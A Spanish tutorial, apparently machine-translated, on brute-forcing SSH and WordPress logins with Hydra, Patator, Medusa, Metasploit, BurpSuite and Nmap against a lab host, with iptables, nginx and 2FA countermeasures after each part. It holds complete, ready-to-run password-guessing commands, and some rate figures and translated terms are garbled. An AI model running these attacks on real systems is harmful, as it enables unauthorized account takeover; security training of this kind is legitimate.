Ataques de fuerza bruta con Kali Linux



La fuerza bruta (ataque de fuerza bruta) es un método para resolver problemas matemáticos, cuya complejidad depende del número de todas las soluciones posibles. El término fuerza bruta en sí se usa generalmente en el contexto de ataques de hackers cuando un atacante intenta elegir un nombre de usuario / contraseña para una cuenta o servicio.

Considere las herramientas que puede usar para realizar ataques de fuerza bruta en los servicios SSH y WEB disponibles en Kali Linux (Patator, Medusa, Hydra, Metasploit), así como BurpSuite.

Todos los materiales proporcionados en este artículo están destinados únicamente para uso educativo. El uso de materiales ilegales e ilegales está prohibido.

Fuerza bruta ssh


Por ejemplo, tome la máquina de prueba 192.168.60.50 e intente encontrar la contraseña de la prueba de usuario mediante SSH. Utilizaremos contraseñas populares del diccionario estándar rockyou.txt.



Patator
Para seleccionar una contraseña usando Patator, use el comando:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'

donde:
ssh_login - módulo requerido
el anfitrión es nuestro objetivo
usuario : inicio de sesión de usuario para el cual se selecciona una contraseña o archivo con inicios de sesión para selección múltiple
contraseña - diccionario con contraseñas
-x ignore: mesg = 'Falló la autenticación' - el comando no muestra una línea con este mensaje. El parámetro de filtrado se selecciona individualmente.

imagen



Hidra
Para seleccionar una contraseña con Hydra, ejecute el comando:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

donde:
-V : muestra un par de nombre de usuario + contraseña durante la iteración
-f : se detiene tan pronto como se encuentra la contraseña para el inicio de sesión especificado
-P - ruta al diccionario con contraseñas
ssh: //192.168.60.50 - indicación de servicio y dirección IP de la víctima

imagen



Medusa
Para seleccionar una contraseña con Medusa, ejecute el comando:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

donde:
-h - dirección IP de la víctima
-u - iniciar sesión
-P - ruta del diccionario
-M - selección de módulo
-f : detenerse después de encontrar un par de nombre de usuario / contraseña válido
-v: configuración de la visualización de mensajes en la pantalla durante el proceso de selección

imagen



Metasploit
Buscaremos una herramienta para realizar ataques de fuerza bruta en SSH:
search ssh_login y obtuve la respuesta:

imagen

Usamos el módulo:

use auxiliary/scanner/ssh/ssh_login

Para ver los parámetros necesarios, use el comando show options . Para nosotros es:
fantasmas - dirección IP de la víctima
rport - puerto
nombre de usuario - inicio de sesión SSH
userpass_file - ruta al diccionario
stop_on_success : deténgase tan pronto como haya un par de nombre de usuario / contraseña
hilos - número de hilos

imagen

La indicación de los parámetros necesarios se realiza a través del comando " set ".

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22


Una vez especificados los parámetros necesarios, escribimos el comando " ejecutar " y esperamos.

imagen

Contraataque


Limite el número de conexiones establecidas utilizando un firewall. Ejemplo de configuración de iptables:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset .

Dicha regla restringirá el acceso a SSH para cada dirección IP a 1 conexión por segundo, lo que complicará en gran medida la búsqueda. Además, una solución efectiva puede ser el uso de autenticación de dos factores (por ejemplo, usando eToken) o autenticación usando un par de claves, así como el uso de ACL basadas en direcciones IP.

WordPress de fuerza bruta


Veamos otro ejemplo: seleccionar una contraseña para una ventana de autorización de formulario web.

imagen

Por ejemplo, seleccionaremos la contraseña de la cuenta de administrador de WordPress.



Burpsuite
Primero, debemos entender cómo ocurre el proceso de autorización. Para esto usaremos BurpSuite. Tenemos que intentar iniciar sesión con cualquier contraseña e iniciar sesión para ver qué solicitudes pasan por BurpSuite.

imagen

Bueno, vimos una solicitud POST de autorización, trabajaremos con ella.
BODY indica qué nombre de usuario y contraseña se verificaron, lo que significa que podemos intentar sustituir los valores que necesitamos por nuestra cuenta.
Pasamos esta solicitud a Intruder y allí seleccionamos los parámetros necesarios para el ataque. En el elemento Posiciones de carga útil, dejamos el tipo de ataque como francotirador, pero para la verificación dejamos solo el parámetro pwd. Por lo tanto, un ataque solo cambiará este parámetro.

imagen

Cargamos el diccionario necesario y comenzamos el ataque.

imagen

Por el comportamiento de la aplicación web, vemos que la contraseña incorrecta devuelve el código de respuesta 200. Después de enumerar el diccionario, vemos que una de las contraseñas dio la respuesta con el código 302: es correcta.

imagen

Este método de fuerza bruta lleva mucho más tiempo que cuando se usa Patator, Hydra, Medusa, etc. Aunque tomamos un pequeño diccionario, BurpSuite repitió el diccionario durante aproximadamente 40 minutos.



Hidra
Intentemos encontrar la contraseña con Hydra.
Como ya sabemos, si la autorización es incorrecta, se devuelve el código 200 y, si tiene éxito, el código es 302. Intentemos utilizar esta información.
Para comenzar, use el comando:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

Aquí indicamos los parámetros requeridos:
-l - nombre de usuario
-P - diccionario con contraseñas
-t - número de hilos
http-post-form - tipo de formulario, tenemos POST.
/wp-login.php es la URL de la página de autorización
^ USUARIO ^ : muestra dónde sustituir el nombre de usuario
^ PASS ^ - muestra dónde sustituir la contraseña del diccionario
S = 302 : una indicación de qué respuesta confiar en Hydra. En nuestro caso, la respuesta es 302 tras una autorización exitosa.

imagen



Patator
Como ya sabemos, si la autorización falla, se devuelve el código 200 y, si tiene éxito, devuelve 302. Utilizaremos el mismo principio que con Hydra:
El lanzamiento se realiza mediante el comando:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz - módulo para ataque http de fuerza bruta
url - dirección de la página con autorización
ARCHIVO0 : ruta al diccionario con contraseñas
cuerpo : información que se transmite en la solicitud POST durante la autorización
-t - número de hilos
-x : en este caso, especificamos el comando para no mostrar líneas de mensaje que contengan un parámetro con el código 200
accept_cookie : guarda el parámetro de cookie y lo pasa a la siguiente solicitud
Como resultado, logramos encontrar una contraseña.

imagen



Nmap
La utilidad Nmap permite, entre otras cosas, la selección de contraseñas para formularios de autorización web, si utiliza el script http-wordpress-brute con los argumentos correspondientes:
--script-args - agregando argumentos
user o userdb : inicio de sesión o archivo con inicios de sesión
pass o passdb : especifique una contraseña o diccionario
hilo - número de hilos
firstonly = true : muestra el resultado después de la primera contraseña correcta

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

imagen

Contraataque


Limite (complique) los ataques de fuerza bruta en aplicaciones web usando iptables (similar a SSH) y nginx. Para hacer esto, cree una zona límite:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

y úsalo:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

Dichas configuraciones limitarán el número de solicitudes de una dirección IP a 40 por segundo.

Para complicar la tarea de enumeración, puede usar los siguientes métodos:
- El uso de un firewall y otro software para limitar la cantidad de llamadas al servicio protegido. Puede leer sobre cómo usamos el aprendizaje automático para detectar tales ataques (incluidos los distribuidos) en un artículo .
- El uso de herramientas que impiden la verificación rápida de la corrección de la clave (por ejemplo, Captcha).

Conclusión


En este artículo, hemos examinado superficialmente algunas herramientas populares. Puede reducir el riesgo de adivinar la contraseña siguiendo estas pautas:
- Utilice contraseñas resistentes a contraseñas;
- No cree contraseñas utilizando información personal, por ejemplo: fecha de nacimiento o nombre + fecha de nacimiento o teléfono móvil;
- Cambiar regularmente la contraseña;
- Use contraseñas únicas en todas las cuentas.

Pocas personas siguen tales recomendaciones (así como recomendaciones para un desarrollo web seguro), por lo que debe utilizar varias soluciones de software que le permitan:
- restringir la conexión por dirección IP o, si esto no es posible, limitar el número simultáneo de conexiones al servicio (usando iptables, nginx y otros);
- utilizar autenticación de dos factores;
- Detecta y bloquea tales ataques usando SIEM, WAF u otros (por ejemplo, fail2ban).

Source: https://habr.com/ru/post/es434216/


All Articles